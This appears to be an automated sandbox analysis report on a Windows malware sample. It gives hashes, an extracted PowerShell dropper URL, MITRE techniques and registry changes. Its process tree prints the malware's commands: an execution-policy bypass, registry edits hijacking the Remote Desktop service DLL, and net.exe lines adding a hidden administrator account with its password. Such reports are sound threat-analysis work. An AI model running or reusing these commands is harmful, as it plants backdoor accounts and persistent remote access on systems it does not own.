91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2

Analysis

max time kernel
64s
max time network
110s
platform
windows10_x64
resource
win10v20210408
submitted
12-07-2021 10:06

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General

Target

4c1063d9a1324655008a22a6d558b2dc.exe
Size

3.1MB
MD5

4c1063d9a1324655008a22a6d558b2dc
SHA1

ddecd8b6ddf3a60d841663ab58fdcfea02299d09
SHA256

91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2
SHA512

c7cd30fd24347d4a1f86a4bcef2472d2d6286970d5712d158333519a8fe69d87e6ef0df1f688f5372eead87b167f6f1f86b80510dfc35b2b01cc160feffe26cf

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral2/memory/912-119-0x000000001D730000-0x000000001DBD5000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
14	400	powershell.exe
16	400	powershell.exe
17	400	powershell.exe
18	400	powershell.exe
20	400	powershell.exe
22	400	powershell.exe
24	400	powershell.exe
26	400	powershell.exe
28	400	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000001ab2b-380.dat	upx
behavioral2/files/0x000500000001ab32-381.dat	upx

Deletes itself 1 IoCs

pid	Process
684	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1576	Process not Found
1576	Process not Found

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 912 set thread context of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF1BB.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lyasajke.23q.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5chzne2d.jzf.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF15C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF16C.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF0DE.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF1CC.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2268	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
684	powershell.exe
1272	powershell.exe
1272	powershell.exe
1272	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
420	powershell.exe
420	powershell.exe
420	powershell.exe
684	powershell.exe
684	powershell.exe
684	powershell.exe
400	powershell.exe
400	powershell.exe
400	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeIncreaseQuotaPrivilege	1272	powershell.exe
Token: SeSecurityPrivilege	1272	powershell.exe
Token: SeTakeOwnershipPrivilege	1272	powershell.exe
Token: SeLoadDriverPrivilege	1272	powershell.exe
Token: SeSystemProfilePrivilege	1272	powershell.exe
Token: SeSystemtimePrivilege	1272	powershell.exe
Token: SeProfSingleProcessPrivilege	1272	powershell.exe
Token: SeIncBasePriorityPrivilege	1272	powershell.exe
Token: SeCreatePagefilePrivilege	1272	powershell.exe
Token: SeBackupPrivilege	1272	powershell.exe
Token: SeRestorePrivilege	1272	powershell.exe
Token: SeShutdownPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeSystemEnvironmentPrivilege	1272	powershell.exe
Token: SeRemoteShutdownPrivilege	1272	powershell.exe
Token: SeUndockPrivilege	1272	powershell.exe
Token: SeManageVolumePrivilege	1272	powershell.exe
Token: 33	1272	powershell.exe
Token: 34	1272	powershell.exe
Token: 35	1272	powershell.exe
Token: 36	1272	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeIncreaseQuotaPrivilege	3184	powershell.exe
Token: SeSecurityPrivilege	3184	powershell.exe
Token: SeTakeOwnershipPrivilege	3184	powershell.exe
Token: SeLoadDriverPrivilege	3184	powershell.exe
Token: SeSystemProfilePrivilege	3184	powershell.exe
Token: SeSystemtimePrivilege	3184	powershell.exe
Token: SeProfSingleProcessPrivilege	3184	powershell.exe
Token: SeIncBasePriorityPrivilege	3184	powershell.exe
Token: SeCreatePagefilePrivilege	3184	powershell.exe
Token: SeBackupPrivilege	3184	powershell.exe
Token: SeRestorePrivilege	3184	powershell.exe
Token: SeShutdownPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeSystemEnvironmentPrivilege	3184	powershell.exe
Token: SeRemoteShutdownPrivilege	3184	powershell.exe
Token: SeUndockPrivilege	3184	powershell.exe
Token: SeManageVolumePrivilege	3184	powershell.exe
Token: 33	3184	powershell.exe
Token: 34	3184	powershell.exe
Token: 35	3184	powershell.exe
Token: 36	3184	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeIncreaseQuotaPrivilege	420	powershell.exe
Token: SeSecurityPrivilege	420	powershell.exe
Token: SeTakeOwnershipPrivilege	420	powershell.exe
Token: SeLoadDriverPrivilege	420	powershell.exe
Token: SeSystemProfilePrivilege	420	powershell.exe
Token: SeSystemtimePrivilege	420	powershell.exe
Token: SeProfSingleProcessPrivilege	420	powershell.exe
Token: SeIncBasePriorityPrivilege	420	powershell.exe
Token: SeCreatePagefilePrivilege	420	powershell.exe
Token: SeBackupPrivilege	420	powershell.exe
Token: SeRestorePrivilege	420	powershell.exe
Token: SeShutdownPrivilege	420	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeSystemEnvironmentPrivilege	420	powershell.exe
Token: SeRemoteShutdownPrivilege	420	powershell.exe
Token: SeUndockPrivilege	420	powershell.exe
Token: SeManageVolumePrivilege	420	powershell.exe
Token: 33	420	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 912 wrote to memory of 904	912	4c1063d9a1324655008a22a6d558b2dc.exe	75
PID 904 wrote to memory of 684	904	vbc.exe	76
PID 904 wrote to memory of 684	904	vbc.exe	76
PID 684 wrote to memory of 3792	684	powershell.exe	78
PID 684 wrote to memory of 3792	684	powershell.exe	78
PID 3792 wrote to memory of 4080	3792	csc.exe	79
PID 3792 wrote to memory of 4080	3792	csc.exe	79
PID 684 wrote to memory of 1272	684	powershell.exe	82
PID 684 wrote to memory of 1272	684	powershell.exe	82
PID 684 wrote to memory of 3184	684	powershell.exe	86
PID 684 wrote to memory of 3184	684	powershell.exe	86
PID 684 wrote to memory of 420	684	powershell.exe	88
PID 684 wrote to memory of 420	684	powershell.exe	88
PID 684 wrote to memory of 432	684	powershell.exe	90
PID 684 wrote to memory of 432	684	powershell.exe	90
PID 684 wrote to memory of 2268	684	powershell.exe	91
PID 684 wrote to memory of 2268	684	powershell.exe	91
PID 684 wrote to memory of 2304	684	powershell.exe	92
PID 684 wrote to memory of 2304	684	powershell.exe	92
PID 684 wrote to memory of 2584	684	powershell.exe	93
PID 684 wrote to memory of 2584	684	powershell.exe	93
PID 2584 wrote to memory of 4028	2584	net.exe	94
PID 2584 wrote to memory of 4028	2584	net.exe	94
PID 684 wrote to memory of 692	684	powershell.exe	95
PID 684 wrote to memory of 692	684	powershell.exe	95
PID 692 wrote to memory of 3148	692	cmd.exe	96
PID 692 wrote to memory of 3148	692	cmd.exe	96
PID 3148 wrote to memory of 2252	3148	cmd.exe	97
PID 3148 wrote to memory of 2252	3148	cmd.exe	97
PID 2252 wrote to memory of 2312	2252	net.exe	98
PID 2252 wrote to memory of 2312	2252	net.exe	98
PID 684 wrote to memory of 3044	684	powershell.exe	99
PID 684 wrote to memory of 3044	684	powershell.exe	99
PID 3044 wrote to memory of 1948	3044	cmd.exe	100
PID 3044 wrote to memory of 1948	3044	cmd.exe	100
PID 1948 wrote to memory of 1232	1948	cmd.exe	101
PID 1948 wrote to memory of 1232	1948	cmd.exe	101
PID 1232 wrote to memory of 3840	1232	net.exe	102
PID 1232 wrote to memory of 3840	1232	net.exe	102
PID 1800 wrote to memory of 1584	1800	cmd.exe	106
PID 1800 wrote to memory of 1584	1800	cmd.exe	106
PID 1584 wrote to memory of 420	1584	net.exe	107
PID 1584 wrote to memory of 420	1584	net.exe	107
PID 1272 wrote to memory of 2252	1272	cmd.exe	110
PID 1272 wrote to memory of 2252	1272	cmd.exe	110
PID 2252 wrote to memory of 4048	2252	net.exe	111
PID 2252 wrote to memory of 4048	2252	net.exe	111
PID 1148 wrote to memory of 4044	1148	cmd.exe	114
PID 1148 wrote to memory of 4044	1148	cmd.exe	114
PID 4044 wrote to memory of 196	4044	net.exe	115
PID 4044 wrote to memory of 196	4044	net.exe	115
PID 512 wrote to memory of 848	512	cmd.exe	118
PID 512 wrote to memory of 848	512	cmd.exe	118
PID 848 wrote to memory of 344	848	net.exe	119
PID 848 wrote to memory of 344	848	net.exe	119

C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe
"C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:912
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qimzituu\qimzituu.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3792
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES905F.tmp" "c:\Users\Admin\AppData\Local\Temp\qimzituu\CSC7BF2F3E5FE1C4988BE1E3F3F84517B.TMP"
        5⤵
        
        PID:4080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:420
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:432
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:2268
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:2304
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:4028
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:692
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3148
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2252
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2312
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1948
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1232
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:432
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3912

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:420

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 26xE25KT /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 26xE25KT /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 26xE25KT /add
    3⤵
    PID:4048

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:196

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:344

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1272
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:808

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 26xE25KT
1⤵
PID:1148
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 26xE25KT
  2⤵
  PID:4048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 26xE25KT
    3⤵
    PID:692

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
